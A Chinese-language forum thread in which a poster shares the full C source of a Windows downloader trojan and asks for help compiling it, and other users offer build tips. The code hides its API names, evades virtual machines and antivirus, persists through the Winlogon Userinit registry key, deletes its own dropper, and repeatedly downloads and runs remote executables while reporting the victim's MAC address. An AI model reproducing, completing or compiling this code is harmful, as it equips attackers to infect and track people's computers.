麒麟, 发表于 2016-8-4 05:14

C语言的大牛进来下。小弟实在看不懂了

本帖最后由 麒麟, 于 2016-8-4 11:24 编辑

#include <stdio.h>
#include <shlwapi.h>
#include<wininet.h>
#pragma comment(lib,"wininet.lib")
#pragma comment(lib,"shlwapi.lib")
#pragma comment(lib,"MSVCRT.lib")
#pragma comment (lib,"Urlmon.lib")
#pragma comment(linker, "/OPT:NOWIN98")    //è¡ÏûÕa¼¸DDμÄ×¢êí£¬±àòë3öμÄÎļtÖ»óD2K′óD¡
#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker,"/ENTRY:ProcEntry /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")
#include <time.h>
#include <winsock.h>
#include <stdlib.h>
#include <Wininet.h>
#include<Aclapi.h>
#include <io.h>
#pragma comment(lib,"Wininet.lib")
#pragma comment(lib,"ws2_32")


DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//¶ˉ쬼óÔØUrlmon.dllÖDμÄUrlDownloadToFileAoˉêy
HINSTANCE hurlmon;

int memfind(const char *mem, const char *str, int sizem, int sizes)   
{   
        int   da,i,j;   
        if (sizes == 0) da = strlen(str);   
        else da = sizes;   
        for (i = 0; i < sizem; i++)   
        {   
                for (j = 0; j < da; j ++)   
                        if (mem != str)        break;   
                        if (j == da) return i;   
        }   
        return -1;   
}

#define        MAX_CONFIG_LEN        500
LPCTSTR FindConfigString( LPCTSTR lpString)//2éÕòÎļtÄ©Î2μÄÅäÖÃDÅÏ¢
{
        char        strFileName;
        char        *lpConfigString = NULL;
        DWORD        dwBytesRead = 0;
        GetModuleFileName(0, strFileName, sizeof(strFileName));
       
        HANDLE        hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
        {
                return NULL;
        }
       
        SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
        lpConfigString = new char;
        ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
        CloseHandle(hFile);
       
        int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
        if (offset == -1)
        {
                delete lpConfigString;
                return NULL;
        }
        else
        {
                return lpConfigString + offset;
        }
}

int DownExe()
{
        charstrDown;
        strDown= 'U';
        strDown= 'R';
        strDown= 'L';
        strDown= 'D';
        strDown= 'o';
        strDown= 'w';
        strDown= 'n';
        strDown= 'l';
        strDown= 'o';
        strDown= 'a';
        strDown = 'd';
        strDown = 'T';
        strDown = 'o';
        strDown = 'F';
        strDown = 'i';
        strDown = 'l';
        strDown = 'e';
        strDown = 'A';
        strDown = '\0';
        //MessageBox(0,strDown,"ok", 0);
       
        charurlmon;
        urlmon= 'u';
        urlmon= 'r';
        urlmon= 'l';
        urlmon= 'm';
        urlmon= 'o';
        urlmon= 'n';
        urlmon= '.';
        urlmon= 'd';
        urlmon= 'l';
        urlmon= 'l';
        urlmon= '\0';
        //MessageBox(0,urlmon,"ok", 0);
       
        charFindStr;
        FindStr= 'O';
        FindStr= 'O';
        FindStr= 'O';
        FindStr= 'O';
        FindStr= 'O';
        FindStr= 'O';
        FindStr= '\0';
       
       
        char *url = NULL;
        char *DownUrl = NULL;
        char *SavePath = NULL;
        url = (char *)FindConfigString(FindStr);
       
        char        *pos = strchr(url, '|'); //Õa¸öoí¸Õ2ÅμÄÖ»óDò»μã2»í¬£¬¾íêÇÄü¶à¶áè¡ò»¸öêy¾Y£¬Õaὸöêy¾YÖ®¼äóá°|¡±¸ô¿a
        if (pos == NULL)
                return -1;
        *pos = '\0';
        DownUrl = url + 6;
        SavePath = pos + 1;
        if (DownUrl == NULL || SavePath == NULL)
                return -1;
       
        //MessageBox(0,DownUrl,"ok",0);//°Ñ·Öàë3öà′μÄὸö×Ö·û′®ÏÔê¾3öà′
        //MessageBox(0,SavePath,"ok",0);
       
    hurlmon=LoadLibrary(urlmon);
    (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,strDown);
        HRESULT hr = DOWNFILE(NULL, DownUrl, SavePath, 0, NULL);

        char strTmpPath;
        char strRunPath;
        GetTempPath(sizeof(strTmpPath), strTmpPath);
       
        FILE *stream;
        char buffer;
        stream= fopen(SavePath,"r");
        if (hr== S_OK)
        {
                while(fscanf(stream,"%s\n",buffer)==1)
                {
                        wsprintf(strRunPath,"%s\\%d.exe",strTmpPath,GetTickCount());
                        DOWNFILE(0, buffer, strRunPath, 0, 0);
                        //MessageBox(NULL,buffer,"ìáê¾",MB_ICONINFORMATION);
                        WinExec(strRunPath, SW_SHOW);
                }
               
                fclose(stream);
        }
        DeleteFile(SavePath);
        return 0;
}

bool IsVirtualPC()//·′nod322éé±
{
        __try
        {
                __asm
                {
                        mov eax, 1
                                _emit 0x0F
                                _emit 0x3F
                                _emit 0x07
                                _emit 0x0B
                                _emit 0xC7
                                _emit 0x45
                                _emit 0xFC
                                _emit 0xFF
                                _emit 0xFF
                                _emit 0xFF
                                _emit 0xFF
                }
        }
        __except(1)
        {
                return FALSE;
        }
        return TRUE;
}


void WriteReg()//D′×¢2á±írun
{
        char WinPath;
        char OldPath;
        char MyPath;
        char RegStr;
        GetWindowsDirectory(WinPath,sizeof(WinPath));//μÃμ½windowsĿ¼
        wsprintf(OldPath,"%s%s",WinPath,"\\system32\\userinit.exe");
        wsprintf(MyPath,"%s%s",WinPath,"\\Tasks\\conime.exe");
        wsprintf(RegStr,"%s%s%s",OldPath,",",MyPath);
        char regname[]="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";
        HKEY hkResult;
        int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);                            //′ò¿a1ؼü×Ö
        ret=RegSetValueEx(hkResult,"Userinit",0,REG_SZ,(unsigned char *)RegStr,100);        /*éèÖüüÖμ*/
        RegCloseKey(hkResult);
}
//×Ôé¾3y
void uninstall(void)
{
        int i;
        HANDLE hFile;
        DWORD dwWritten;
        char selfpathaaa={0};
        char command={0};
        char name[]="afc9fe2f418b00a0.bat";
        GetModuleFileName(NULL,selfpathaaa,MAX_PATH);
        lstrcpy(command,"@echo off\n\r");
        for (i=0;i<10;i++)
                lstrcat(command,"@echo asdfhdsafjkahlsdjfhlk>>3596799a1543bc9f.aqq\n\r");
        lstrcat(command,"@del 3596799a1543bc9f.aqq\n\r");
        lstrcat(command,"@del \"");
        lstrcat(command,selfpathaaa);
        lstrcat(command,"\"\n\r");
        lstrcat(command,"@del ");
        lstrcat(command,name);
        lstrcat(command,"\n\r@exit");
        hFile=CreateFile(name,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
        WriteFile(hFile,(LPCVOID)command,sizeof(command),&dwWritten,NULL);
        CloseHandle(hFile);
        WinExec(name,SW_HIDE);
        ExitProcess(NULL);
}


char   *ltrim_VVVVVV(char   *pstr)   
{   
        while(*pstr++=='V');   
        return   --pstr;   
}
char   *ltrim_CCCCCC(char   *pstr)   
{   
        while(*pstr++=='C');   
        return   --pstr;   
}

#include "Rpcdce.h"
#pragma comment(lib,"Rpcrt4.lib")
void MyCount()
{
        char szURL;

        char *MyUrl = NULL;
        char *CountUrl = NULL;
        MyUrl = (char *)FindConfigString("CCCCCC");
        CountUrl = ltrim_CCCCCC(MyUrl);


        char *pVersionStr = NULL;
        char *pVersion = NULL;
        pVersionStr = (char *)FindConfigString("VVVVVV");
        pVersion = ltrim_VVVVVV(pVersionStr);
       
        long rt;
        UUID ui;
        char mac={0};
        char temp;
        char Mac;
        rt = UuidCreateSequential(&ui);
        if (rt == RPC_S_OK)
        {
      _itoa(ui.Data4,mac,16);
                _itoa(ui.Data4,mac,16);
                _itoa(ui.Data4,mac,16);
                _itoa(ui.Data4,mac,16);
                _itoa(ui.Data4,mac,16);
                _itoa(ui.Data4,mac,16);
        }
        for(int n=0;n<6;n++)
        {
                if (strlen(mac) == 1)
                {
            wsprintf(temp, "0%s", mac);
            strcpy(mac,temp);
                }
        }
        wsprintf(Mac, "%s-%s-%s-%s-%s-%s",mac,mac,mac,mac,mac,mac);

        sprintf(szURL,"%s?mac=%s&ver=%s",CountUrl,Mac,pVersion);                                //óÃ諾ÖËæ»ú′®×öΨò»±ê¼Ç
        //MessageBox(NULL,szURL,"ìáê¾",MB_ICONINFORMATION);

        HINTERNET hNet = ::InternetOpen("Google page", //μ±HTTPD-òéê1óÃê±£¬Õa¸ö2ÎêyËæòa¸3Öμ
                PRE_CONFIG_INTERNET_ACCESS, //·ÃÎêààDíÖ¸ê¾Win32íøÂçoˉêyê1óÃμǼÇDÅϢ襷¢ÏÖò»¸ö·tÎñÆ÷¡£
                NULL,
                INTERNET_INVALID_PORT_NUMBER, //ê1óÃINTERNET_INVALID_PORT_NUMBERÏàμ±óúìá1©è′ê¡μĶ˿úêy¡£
                0 //±êÖ¾è¥Ö¸ê¾ê1óÃ·μ»Ø¾ä¾ä±úμĽ«à′μÄInternetoˉêy½«"2»"Îa»Øμ÷oˉêy·¢Ëí×′ì¬DÅÏ¢
                ) ;
        HINTERNET hUrlFile = ::InternetOpenUrl(hNet, //′óInternetOpen·μ»Øμľä±ú
                szURL, //Dèòa′ò¿aμÄURL
                NULL, //óÃà′Ïò·tÎñÆ÷′«Ëí¶îíaμÄDÅÏ¢,ò»°ãÎaNULL
                0, //óÃà′Ïò·tÎñÆ÷′«Ëí¶îíaμÄDÅÏ¢,ò»°ãÎa 0
                INTERNET_FLAG_RELOAD, //InternetOpenUrlDDÎaμıêÖ¾
                0) ; //DÅÏ¢½«2»»á±»Ëíμ½×′쬻Øμ÷oˉêy
       
        char buffer ;
        DWORD dwBytesRead = 0;
        BOOL bRead = ::InternetReadFile(hUrlFile, //InternetOpenUrl·μ»Øμľä±ú
                buffer, //±£áôêy¾YμÄ»o3åÇø
                sizeof(buffer),
                &dwBytesRead); //Ö¸Ïò°üo¬¶áèë»o3åÇø×Ö½úêyμıäá¿μÄÖ¸Õë;
        //èç1û·μ»ØÖμêÇTRUE£¬¶øÇòÕaàïÖ¸Ïò0£¬ÔòÎļtòѾ-¶áμ½áËÎļtμÄÄ©Î2¡£
       
        ::InternetCloseHandle(hUrlFile) ;
        ::InternetCloseHandle(hNet) ;
}


int ProcEntry()
{
        if(IsVirtualPC())
        {
                return 0;
        }
        char Mulu;
        char WinPath;
        char MyPath;

        GetModuleFileName(0,Mulu,sizeof(Mulu));
        PathRemoveFileSpec(Mulu);
       
        GetWindowsDirectory(WinPath,sizeof(WinPath));//μÃμ½windowsĿ¼
        strcat(WinPath,"\\Tasks");
        GetModuleFileName(0,MyPath,sizeof(MyPath));

        //MessageBox(NULL,Mulu,"ìáê¾",MB_ICONINFORMATION);
        //MessageBox(NULL,WinPath,"ìáê¾",MB_ICONINFORMATION);
        if (stricmp(Mulu,WinPath) != 0)                //èç1û×Ô¼o2»ÔúwindowsĿ¼¾í¸′ÖÆμ½ÄÇàïè¥
        {
                strcat(WinPath,"\\conime.exe");
                DeleteFile(WinPath);
                WriteReg();//D′×¢2á±íòÔ′ïμ½×ÔÆô¶ˉμÄÄ¿μÄ
                CopyFile(MyPath,WinPath,false);
                Sleep(500);
                WinExec(WinPath,SW_HIDE);
                Sleep(1000);
                uninstall();
                ExitProcess(0);
        }

        int i = 0;
        while(i < 6)        //¼ä¸ô20·ÖÖóÏÂÔØ
        {
                DownExe();
                MyCount();        //í3¼Æ
                Sleep(20 * 60 * 1000);
                i++;
        }
        ExitProcess(0);
        return 0;
}







fresharplite 发表于 2016-8-4 05:14

在代码最前面
   #define EXTERN_C   extern "C"

麒麟, 发表于 2016-8-4 05:15

该怎么修改麻烦大牛说下

几何 发表于 2016-8-4 07:25

把你的那个CPP文件发出来,问题在那,而不是shlwapi.h,VC++6.0比较笨

微若清风 发表于 2016-8-4 07:42

我不是大牛。我也进来看看

LYQingYe 发表于 2016-8-4 08:30

{:6_211:} 你把系统头文件发出来有何用

麒麟, 发表于 2016-8-4 11:25

LYQingYe 发表于 2016-8-4 08:30
你把系统头文件发出来有何用

发出来了   麻烦看下

麒麟, 发表于 2016-8-4 11:26

几何 发表于 2016-8-4 07:25
把你的那个CPP文件发出来,问题在那,而不是shlwapi.h,VC++6.0比较笨

发出来了麻烦看下

麒麟, 发表于 2016-8-4 11:46

fresharplite 发表于 2016-8-4 06:15
在代码最前面
   #define EXTERN_C   extern "C"

{:5_191:}表示没搞懂

fresharplite 发表于 2016-8-4 12:38

发代码来我帮你编译算了
页: [1] 2
查看完整版本: C语言的大牛进来下。小弟实在看不懂了